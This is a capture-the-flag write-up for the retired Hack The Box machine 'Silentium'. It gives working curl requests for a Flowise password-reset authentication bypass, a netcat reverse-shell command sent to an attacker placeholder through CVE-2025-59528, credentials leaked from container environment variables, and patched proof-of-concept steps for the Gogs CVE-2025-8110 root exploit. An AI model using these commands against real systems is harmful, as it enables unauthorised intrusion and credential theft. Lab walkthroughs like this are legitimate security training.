<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #005 ]

Silentium

Exploit an auth bypass on a Flowise instance to trigger a password reset, then abuse CVE-2025-59528 (CustomMCP RCE) to get a shell inside a Docker container. Leak credentials from environment variables to SSH into the host as ben, then exploit CVE-2025-8110 (Gogs symlink RCE) to overwrite a git…

date
2026-04-11
read
3 min
tags
#htb #retired
platform
htb
os
linux
difficulty
easy
FieldValue
OSLinux
DifficultyEasy
Release Date2026-04-11
Authorl1ght

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a silentium.htb -- -A
text

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 [REDACTED:IP][REDACTED:IP]:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 [REDACTED:IP][REDACTED:IP]:b0 (ED25519)
|_ssh-ed25519 [REDACTED:KEY]
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Silentium | Institutional Capital & Lending Solutions
|_http-favicon: Unknown favicon MD5: [REDACTED:HASH]
|_http-server-header: nginx/1.24.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=4/12%OT=22%CT=%CU=30917%PV=Y%DS=2%DC=T%G=N%TM=69DB33D9
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M542ST11NW7%O2=M542ST11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11
OS:NW7%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)

Key findings:

  • Port 22 — SSH — foothold after creds obtained
  • Port 80 — HTTP nginx — hosts corporate site and staging Flowise app

Web / Service Enumeration

vhost enumeration

bash
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u http://silentium.htb \
  -H "Host: FUZZ.silentium.htb" \
  -k -fr 301 -fs 8753

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 102ms]
  • which in fact revealed a subdomain
  • nothing was intersting no version nothing besides a forget password link screenshot 2 (opens the full-size image)
  • so i went to fuzzing again which in fact revealed some info
bash
❯ dirsearch -u 'http://silentium.htb/' -r
  • after trying different endpoints
bash
❯ curl http://staging.silentium.htb/api/v1/version
{"version":"3.0.5"}%  
  • we got a version

Foothold

The silentium.htb corporate site leaks employee names including [REDACTED:EMAIL]. The staging Flowise instance exposes a forgot-password endpoint that accepts the x-request-from: internal header to bypass authentication, returning a tempToken directly in the response. After resetting the password and logging in, CVE-2025-59528 allows arbitrary JavaScript execution via the CustomMCP node endpoint.

bash
# Get temp token
curl -s -X POST 'http://staging.silentium.htb/api/v1/account/forgot-password' \
  -H 'Content-Type: application/json' \
  -H 'x-request-from: internal' \
  -d '{"user":{"email":"[REDACTED:EMAIL]"}}' | jq '.user.tempToken'

# Reset password
curl -s -X POST 'http://staging.silentium.htb/api/v1/account/reset-password' \
  -H 'Content-Type: application/json' \
  -H 'x-request-from: internal' \
  -d '{"user":{"email":"[REDACTED:EMAIL]","tempToken":"<TOKEN>","password":"[REDACTED:CRED]"}}'

# Login and grab JWT
curl -s -X POST 'http://staging.silentium.htb/api/v1/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"[REDACTED:EMAIL]","password":"[REDACTED:CRED]"}' | jq '.token'

# RCE via CVE-2025-59528 (modified exploit — patch session variable name)
python3 52440.py --email [REDACTED:EMAIL] --password [REDACTED:CRED] \
  --url http://staging.silentium.htb \
  --cmd "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f"

Shell lands inside a Docker container as root. Environment variables leak credentials:

bash
env | grep -E '(FLOWISE_PASSWORD|SMTP_PASSWORD)'
# FLOWISE_PASSWORD=F1l3_d0ck3r
# SMTP_PASSWORD=[REDACTED:CRED]

SSH to the host using ben:[REDACTED:CRED].

User Flag

bash
cat /home/light/user.txt

Privilege Escalation

Gogs 0.13.3 is running internally as root. CVE-2025-8110 abuses the PutContents API's failure to resolve symlinks, allowing an authenticated user to overwrite .git/config with a malicious sshCommand entry. When git performs a fetch, the injected command executes as root.

you can grap PoC in here

bash
# Forward Gogs port
ssh -L 3001:127.0.0.1:3001 [REDACTED:EMAIL]

# Patch PoC to use existing account and skip registration error
sed -i 's/username = "zAbuQasem"/username = "light"/' CVE-2025-8110.py
sed -i 's/password = "[REDACTED:CRED]"/password = "[REDACTED:CRED]"/' CVE-2025-8110.py
sed -i 's/raise ValueError("Registration failed")/pass/' CVE-2025-8110.py

# Run
python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh <ATTACKER_IP> -lp 5555

Root Flag

bash
cat /home/light

Key Takeaways

  • Flowise's x-request-from: internal header bypass is not limited to a single endpoint — the forgot-password flow under /api/v1/account/ is also affected despite the main API being locked down
  • CVE-2025-59528 is a CVSS 10.0 RCE requiring only a valid API token — credentials from a reset flow are sufficient
  • Docker containers frequently inherit sensitive environment variables — always run env after getting a container shell
  • CVE-2025-8110 in Gogs ≤ 0.13.3 abuses symlink handling to write arbitrary content through the API, leading to root RCE via git hook injection

Resources